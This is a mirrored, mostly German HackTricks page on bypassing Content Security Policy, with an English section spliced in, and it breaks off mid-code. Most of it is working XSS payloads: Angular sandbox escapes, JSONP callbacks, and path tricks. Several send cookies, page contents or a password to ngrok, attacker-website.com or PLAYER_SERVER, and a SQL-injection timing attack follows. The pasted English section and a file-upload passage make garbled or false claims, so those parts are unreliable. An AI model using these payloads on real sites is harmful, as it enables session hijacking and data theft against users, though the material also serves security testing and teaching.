mirror of https://github.com/carlospolop/hacktricks synced 2025-02-17 06:28:27 +00:00

History

Translator workflow 6af5d4e1a0 Translated to German		2024-02-10 15:36:32 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	Translated to German	2024-02-10 15:36:32 +00:00
README.md	Translated to German	2024-02-10 15:36:32 +00:00

README.md

Content Security Policy (CSP) Bypass

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen

Treten Sie dem HackenProof-Discord-Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns auf Discord bei und arbeiten Sie noch heute mit Top-Hackern zusammen!

Was ist CSP

Content Security Policy (CSP) wird als eine Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, sich gegen Angriffe wie Cross-Site Scripting (XSS) abzusichern. Sie funktioniert, indem sie Pfade und Quellen definiert und detailliert, aus denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Eine Richtlinie kann beispielsweise das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von Zeichenfolgencode über Funktionen wie eval, setTimeout oder setInterval.

Die Implementierung von CSP erfolgt über Antwortheader oder durch die Integration von Meta-Elementen in die HTML-Seite. Browser setzen diese Bestimmungen proaktiv durch und blockieren sofort alle festgestellten Verstöße.

Implementiert über Antwortheader:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementiert über Meta-Tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Header

CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden:

Content-Security-Policy: Erzwingt die CSP; der Browser blockiert Verstöße.
Content-Security-Policy-Report-Only: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen.

Ressourcen definieren

CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von eval(). Ein Beispiel für eine Richtlinie ist:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktiven

script-src: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignishandler oder XSLT-Stylesheets ausgelöst werden.
default-src: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn bestimmte Abrufanweisungen fehlen.
child-src: Gibt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte an.
connect-src: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
frame-src: Beschränkt URLs für Frames.
frame-ancestors: Gibt an, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie <frame>, <iframe>, <object>, <embed> und <applet>.
img-src: Definiert erlaubte Quellen für Bilder.
font-src: Gibt gültige Quellen für über @font-face geladene Schriftarten an.
manifest-src: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
media-src: Definiert erlaubte Quellen zum Laden von Medienobjekten.
object-src: Definiert erlaubte Quellen für <object>, <embed> und <applet>-Elemente.
base-uri: Gibt erlaubte URLs für das Laden mit <base>-Elementen an.
form-action: Listet gültige Endpunkte für Formularübermittlungen auf.
plugin-types: Beschränkt die MIME-Typen, die eine Seite aufrufen darf.
upgrade-insecure-requests: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
sandbox: Wendet Einschränkungen an, die dem sandbox-Attribut eines <iframe> ähnlich sind.
report-to: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
worker-src: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
prefetch-src: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorausgeladen werden.
navigate-to: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.)

Quellen

*: Erlaubt alle URLs außer solchen mit den Schemata data:, blob:, filesystem:.
'self': Erlaubt das Laden von der gleichen Domain.
'data': Erlaubt das Laden von Ressourcen über das data-Schema (z. B. Base64-codierte Bilder).
'none': Blockiert das Laden von jeder Quelle.
'unsafe-eval': Erlaubt die Verwendung von eval() und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
'unsafe-hashes': Ermöglicht bestimmte Inline-Ereignishandler.
'unsafe-inline': Erlaubt die Verwendung von Inline-Ressourcen wie Inline-<script> oder <style>, aus Sicherheitsgründen nicht empfohlen.
'nonce': Eine Whitelist für bestimmte Inline-Skripte unter Verwendung einer kryptografischen Nonce (einmal verwendete Zahl).
'sha256-<hash>': Whitelistet Skripte mit einem bestimmten sha256-Hash.
'strict-dynamic': Erlaubt das Laden von Skripten aus jeder Quelle, wenn es von einer Nonce oder einem Hash in die Whitelist aufgenommen wurde.
'host': Gibt einen bestimmten Host an, z. B. example.com.
https:: Beschränkt URLs auf solche, die HTTPS verwenden.
blob:: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die über JavaScript erstellt wurden).
filesystem:: Erlaubt das Laden von Ressourcen aus dem Dateisystem.
'report-sample': Enthält eine Beispiel des verletzenden Codes im Verstoßbericht (nützlich für die Fehlersuche).
'strict-origin': Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
'strict-origin-when-cross-origin': Sendet vollständige URLs bei Same-Origin-Anfragen, sendet jedoch nur den Ursprung, wenn die Anfrage Cross-Origin ist.
'unsafe-allow-redirects': Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umgeleitet werden. Nicht empfohlen, da dies die Sicherheit schwächt.

Unsichere CSP-Regeln

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Arbeitsnutzlast: "/><script>alert(1);</script>

self + 'unsafe-inline' über Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Funktionsfähiges Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Wenn Sie auf irgendeine Weise einen erlaubten JS-Code erstellen, der ein neues Skript-Tag im DOM mit Ihrem JS-Code erstellt, wird das neue Skript-Tag erlaubt sein, ausgeführt zu werden, da ein erlaubtes Skript es erstellt.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Funktionsfähiges Payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Fehlendes object-src und default-src

{% hint style="danger" %} Es scheint, dass dies nicht mehr funktioniert {% endhint %}

Content-Security-Policy: script-src 'self' ;

Funktionierende Payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Datei-Upload + 'self'

Eine Möglichkeit, die Content Security Policy (CSP) zu umgehen, besteht darin, den 'self'-Quellenausdruck zu verwenden. Dieser Ausdruck erlaubt es nur, Ressourcen von der gleichen Domain zu laden, auf der die CSP angewendet wird.

Um diese Bypass-Technik anzuwenden, müssen wir eine Schwachstelle im Datei-Upload-Mechanismus finden. Wenn wir eine Datei auf den Server hochladen können, können wir den 'self'-Ausdruck umgehen und auf Ressourcen von anderen Domains zugreifen.

Um dies zu erreichen, können wir eine Datei mit einem speziellen Namen hochladen, der es uns ermöglicht, auf Ressourcen von anderen Domains zuzugreifen. Zum Beispiel könnten wir eine Datei mit dem Namen "self.example.com" hochladen. Dadurch wird die CSP umgangen und wir können auf Ressourcen von "example.com" zugreifen.

Es ist wichtig zu beachten, dass diese Bypass-Technik nur funktioniert, wenn der Server die hochgeladenen Dateien nicht auf schädlichen Inhalt überprüft. Wenn der Server die Dateien vor dem Speichern überprüft, wird dieser Bypass nicht funktionieren.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:

Funktionsfähige Nutzlast:

"/>'><script src="/uploads/picture.png.js"></script>

Jedoch ist es sehr wahrscheinlich, dass der Server die hochgeladene Datei validiert und nur das Hochladen bestimmter Dateitypen erlaubt.

Selbst wenn Sie jedoch einen JS-Code in einer Datei mit einer vom Server akzeptierten Erweiterung (wie z.B. script.png) hochladen könnten, würde dies nicht ausreichen, da einige Server wie der Apache-Server den MIME-Typ der Datei basierend auf der Erweiterung auswählen und Browser wie Chrome die Ausführung von JavaScript-Code in etwas, das ein Bild sein sollte, ablehnen. "Glücklicherweise" gibt es Fehler. Zum Beispiel habe ich aus einem CTF gelernt, dass der Apache-Server die Erweiterung .wave nicht kennt und sie daher nicht mit einem MIME-Typ wie audio/* serviert.

Von hier aus können Sie, wenn Sie eine XSS und einen Datei-Upload finden und es Ihnen gelingt, eine falsch interpretierte Erweiterung zu finden, versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot (einige Polyglot-Beispiele hier).

Drittanbieter-Endpunkte + ('unsafe-eval')

{% hint style="warning" %} Für einige der folgenden Payloads ist unsafe-eval nicht einmal erforderlich. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS-Code aus:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben (siehe diesen Beitrag):

{% hint style="info" %} Der Beitrag zeigt, dass Sie alle Bibliotheken von cdn.cloudflare.com (oder einem anderen erlaubten JS-Bibliotheks-Repository) laden können, alle hinzugefügten Funktionen jeder Bibliothek ausführen können und überprüfen können, welche Funktionen aus welchen Bibliotheken das window-Objekt zurückgeben. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Missbrauch des Google reCAPTCHA JS-Codes

Laut diesem CTF-Writeup kann man https://www.google.com/recaptcha/ innerhalb einer CSP missbrauchen, um beliebigen JS-Code auszuführen und die CSP zu umgehen:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Drittanbieter-Endpunkte + JSONP

JSONP (JSON with Padding) ist eine Technik, die verwendet werden kann, um die Content Security Policy (CSP) zu umgehen, wenn Drittanbieter-Endpunkte beteiligt sind.

Die CSP ist eine Sicherheitsrichtlinie, die es Website-Betreibern ermöglicht, festzulegen, welche Ressourcen von welchen Quellen geladen werden dürfen. Dies hilft, Cross-Site-Scripting (XSS) und andere Angriffe zu verhindern.

Bei der Verwendung von JSONP wird eine JavaScript-Funktion auf der Website aufgerufen, die als Parameter eine JSON-Struktur enthält. Diese Funktion wird dann von einem Drittanbieter-Endpunkt aufgerufen, der die JSON-Struktur als Argument übergibt. Da JSONP JavaScript-Code ist, der von der Website selbst ausgeführt wird, umgeht er die CSP-Richtlinien.

Um JSONP zu verwenden, muss die Website eine JavaScript-Funktion definieren, die die empfangene JSON-Struktur verarbeitet. Diese Funktion wird dann als Parameter in einer URL an den Drittanbieter-Endpunkt übergeben. Der Drittanbieter-Endpunkt ruft die Funktion auf und übergibt die JSON-Struktur als Argument.

Es ist wichtig zu beachten, dass JSONP Sicherheitsrisiken birgt, da es potenziell anfällig für XSS-Angriffe ist. Daher sollte JSONP nur mit vertrauenswürdigen Drittanbieter-Endpunkten verwendet werden und sorgfältig implementiert werden, um Sicherheitslücken zu vermeiden.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Szenarien wie dieses, bei dem script-src auf self und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mithilfe von JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS-Angriffe durchzuführen. Funktionierendes Payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.

Die gleiche Sicherheitslücke tritt auf, wenn der vertrauenswürdige Endpunkt eine Open Redirect enthält, da Weiterleitungen als vertrauenswürdig angesehen werden.

Missbrauch von Drittanbietern

Wie in dem folgenden Beitrag beschrieben, können viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP erlaubt sind, missbraucht werden, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

Entität	Erlaubte Domain	Fähigkeiten
Facebook	www.facebook.com, *.facebook.com	Ausleiten
Hotjar	*.hotjar.com, ask.hotjar.io	Ausleiten
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Ausführen
Amazon CloudFront	*.cloudfront.net	Ausleiten, Ausführen
Amazon AWS	*.amazonaws.com	Ausleiten, Ausführen
Azure Websites	.azurewebsites.net, .azurestaticapps.net	Ausleiten, Ausführen
Salesforce Heroku	*.herokuapp.com	Ausleiten, Ausführen
Google Firebase	*.firebaseapp.com	Ausleiten, Ausführen

Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.

Zum Beispiel, wenn Sie die folgende CSP finden:

Content-Security-Policy: default-src 'self’ www.facebook.com;

Content Security Policy (CSP) Bypass

Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. CSP allows web developers to specify which resources (such as scripts, stylesheets, and fonts) are allowed to be loaded and executed by a web page. However, there are certain techniques that can be used to bypass CSP and potentially exploit the application.

Bypassing CSP using Inline Event Handlers

One common technique to bypass CSP is by using inline event handlers. CSP typically restricts the execution of inline JavaScript code, but it allows the use of event handlers such as onclick and onmouseover. By leveraging these event handlers, an attacker can execute arbitrary JavaScript code within the context of the web page.

To bypass CSP using inline event handlers, you can try the following steps:

Identify the target web page that has CSP implemented.
Look for elements on the page that have event handlers, such as buttons or links.
Modify the event handler to execute the desired JavaScript code. For example, you can change the onclick attribute of a button to execute a payload.
Test the modified event handler to ensure that the JavaScript code is executed successfully.

Bypassing CSP using Data URIs

Another technique to bypass CSP is by using data URIs. Data URIs allow you to embed the content of external resources directly within the HTML or CSS code. By using data URIs, an attacker can bypass CSP restrictions and load external JavaScript code.

To bypass CSP using data URIs, you can follow these steps:

Identify the target web page that has CSP implemented.
Find a suitable location within the HTML or CSS code where you can embed the data URI.
Generate a data URI that contains the desired JavaScript code. You can use online tools or write a script to generate the data URI.
Replace the external resource (such as a script tag or stylesheet link) with the data URI.
Test the modified code to ensure that the JavaScript code is executed successfully.

Bypassing CSP using Trusted Domains

CSP allows web developers to specify a list of trusted domains from which external resources can be loaded. By default, CSP restricts the loading of external resources from any domain other than the one hosting the web page. However, if the web application allows the loading of resources from a trusted domain, an attacker can bypass CSP by hosting malicious code on that trusted domain.

To bypass CSP using trusted domains, you can try the following steps:

Identify the target web page that has CSP implemented.
Look for external resources (such as scripts, stylesheets, or images) that are loaded from trusted domains.
Determine if the web application allows the loading of resources from a trusted domain that you control or have access to.
Host the malicious code on the trusted domain.
Replace the original external resource with the URL of the malicious code hosted on the trusted domain.
Test the modified code to ensure that the malicious code is executed successfully.

Conclusion

Content Security Policy (CSP) is an important security mechanism that helps protect web applications against cross-site scripting (XSS) attacks. However, it is not foolproof, and there are techniques that can be used to bypass CSP. As a web developer or security professional, it is important to be aware of these bypass techniques and take appropriate measures to mitigate the risk.

Content-Security-Policy: connect-src www.facebook.com;

Du solltest in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit Google Analytics/Google Tag Manager gemacht wurde. In diesem Fall befolgst du diese allgemeinen Schritte:

Erstelle hier ein Facebook Developer-Konto.
Erstelle eine neue "Facebook Login"-App und wähle "Website".
Gehe zu "Einstellungen -> Grundlegend" und erhalte deine "App-ID".
Auf der Zielseite, von der du Daten exfiltrieren möchtest, kannst du Daten direkt über das Facebook SDK-Gadget "fbq" exfiltrieren, indem du ein "customEvent" und die Datenübertragung verwendest.
Gehe zu deiner App "Event Manager" und wähle die von dir erstellte Anwendung aus (beachte, dass der Event Manager in einer URL ähnlich wie diese zu finden sein könnte: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
Wähle den Tab "Test Events", um die von "deiner" Website gesendeten Ereignisse zu sehen.

Dann führst du auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren und auf die App-ID des Angreifers im Facebook Developer-Konto zu verweisen und ein benutzerdefiniertes Ereignis auszulösen, wie folgt:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Umgehung über RPO (Relative Path Overwrite)

Zusätzlich zur zuvor erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn zum Beispiel CSP den Pfad https://example.com/scripts/react/ erlaubt, kann er wie folgt umgangen werden:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Der Browser lädt letztendlich https://example.com/scripts/angular/angular.js.

Dies funktioniert, weil der Browser eine Datei namens ..%2fangular%2fangular.js unter https://example.com/scripts/react/ lädt, was mit CSP konform ist.

Der Browser wird es decodieren und effektiv https://example.com/scripts/react/../angular/angular.js anfordern, was äquivalent zu https://example.com/scripts/angular/angular.js ist.

Indem man diese Inkonsistenz in der Interpretation der URL zwischen dem Browser und dem Server ausnutzt, können die Pfadregeln umgangen werden.

Die Lösung besteht darin, %2f auf der Serverseite nicht als / zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel: https://jsbin.com/werevijewa/edit?html,output

Ausführung von Iframes-JavaScript

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

Fehlendes base-uri

Wenn die Direktive base-uri fehlt, kann man sie missbrauchen, um eine dangling markup injection durchzuführen.

Darüber hinaus, wenn die Seite ein Skript mit einem relativen Pfad lädt (wie <script src="/js/app.js">) und einen Nonce verwendet, kann man das base tag missbrauchen, um das Skript von eigenem Server zu laden und XSS zu erreichen.
Wenn die verwundbare Seite mit httpS geladen wird, verwenden Sie eine httpS-URL im base-Tag.

<base href="https://www.attacker.com/">

AngularJS Ereignisse

Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. AngularJS bietet jedoch benutzerdefinierte Ereignisse als Alternative an. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt $event bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses $event-Objekt kann genutzt werden, um die CSP zu umgehen. Insbesondere in Chrome besitzt das $event/event-Objekt ein Attribut namens path, das ein Objektarray enthält, das in die Ausführungskette des Ereignisses verwickelt ist, wobei das window-Objekt immer am Ende steht. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.

Indem dieses Array auf den orderBy-Filter gerichtet wird, ist es möglich, darüber zu iterieren und das Terminal-Element (das window-Objekt) zu nutzen, um eine globale Funktion wie alert() auszulösen. Der nachfolgende Codeausschnitt veranschaulicht diesen Prozess:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Dieser Ausschnitt zeigt die Verwendung der ng-focus Direktive, um das Ereignis auszulösen, indem $event.path|orderBy verwendet wird, um das path Array zu manipulieren, und indem das window Objekt genutzt wird, um die alert() Funktion auszuführen und somit document.cookie offenzulegen.

Weitere Angular-Bypasses finden Sie unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS und whitelistete Domäne

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung auf die Whitelist setzt, kann durch die Aufruf von Rückruffunktionen und bestimmte anfällige Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Leitfaden, der in diesem Git-Repository verfügbar ist.

Funktionierende Payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Andere JSONP-Ausführungspunkte können hier gefunden werden (einige von ihnen wurden gelöscht oder behoben).

Umgehung über Umleitung

Was passiert, wenn CSP auf eine serverseitige Umleitung trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, schlägt sie fehl.

Gemäß der Beschreibung in CSP-Spezifikation 4.2.2.3. Pfade und Umleitungen kann die Umleitung jedoch die ursprünglichen Einschränkungen umgehen, wenn sie zu einem anderen Pfad führt.

Hier ist ein Beispiel:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Wenn CSP auf https://www.google.com/a/b/c/d festgelegt ist, werden sowohl Skripte /test als auch /a/test von CSP blockiert, da der Pfad berücksichtigt wird.

Jedoch wird die endgültige http://localhost:5555/301 auf der Serverseite zu https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// umgeleitet. Da es sich um eine Umleitung handelt, wird der Pfad nicht berücksichtigt und das Skript kann geladen werden, wodurch die Pfadbeschränkung umgangen wird.

Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, die Umgehung ermöglicht.

Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungs-Sicherheitslücken aufweist und dass keine Domains in den CSP-Regeln ausgenutzt werden können.

Umgehung von CSP mit hängendem Markup

Lesen Sie hier, wie es geht.

'unsafe-inline'; img-src *; über XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' bedeutet, dass du beliebigen Code innerhalb des Skripts ausführen kannst (XSS kann Code ausführen) und img-src * bedeutet, dass du auf der Webseite beliebige Bilder von beliebigen Quellen verwenden kannst.

Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall nutzt XSS einen CSRF aus, bei dem eine Seite, die vom Bot zugänglich ist, eine SQL-Injection enthält und die Flagge über ein Bild extrahiert):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Von: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Sie könnten auch diese Konfiguration missbrauchen, um JavaScript-Code, der in ein Bild eingefügt wurde, zu laden. Wenn zum Beispiel die Seite das Laden von Bildern von Twitter erlaubt, könnten Sie ein spezielles Bild erstellen, es auf Twitter hochladen und die "unsafe-inline" missbrauchen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das Bild lädt, den JS-Code daraus extrahiert und ausführt: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Mit Service Workern

Die Funktion importScripts von Service Workern ist nicht durch CSP eingeschränkt:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Policy Injection

Forschung: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Wenn ein von Ihnen gesendeter Parameter innerhalb der Deklaration der Policy eingefügt wird, könnten Sie die Policy auf eine Weise ändern, die sie nutzlos macht. Sie könnten das Ausführen von Skripten mit 'unsafe-inline' mit einer dieser Umgehungen erlauben:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Weil diese Anweisung vorhandene script-src-Anweisungen überschreibt.
Ein Beispiel finden Sie hier: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge ist es viel einfacher. Wenn Sie dies einfach in die CSP hinzufügen: ;_ Edge würde die gesamte Richtlinie verwerfen.
Beispiel: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; über XSS (iframe) - Time-Angriff

Beachten Sie das Fehlen der Anweisung 'unsafe-inline'
Dieses Mal können Sie das Opfer dazu bringen, eine Seite unter Ihrer Kontrolle über XSS mit einem <iframe zu laden. Dieses Mal lassen Sie das Opfer auf die Seite zugreifen, von der Sie Informationen extrahieren möchten (CSRF). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie die Ladezeit der Seite kontrollieren können, können Sie die benötigten Informationen extrahieren.

Dieses Mal wird eine Flagge extrahiert, immer wenn ein Zeichen richtig geraten wird, dauert die Antwort aufgrund der Sleep-Funktion länger. Dann können Sie die Flagge extrahieren:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
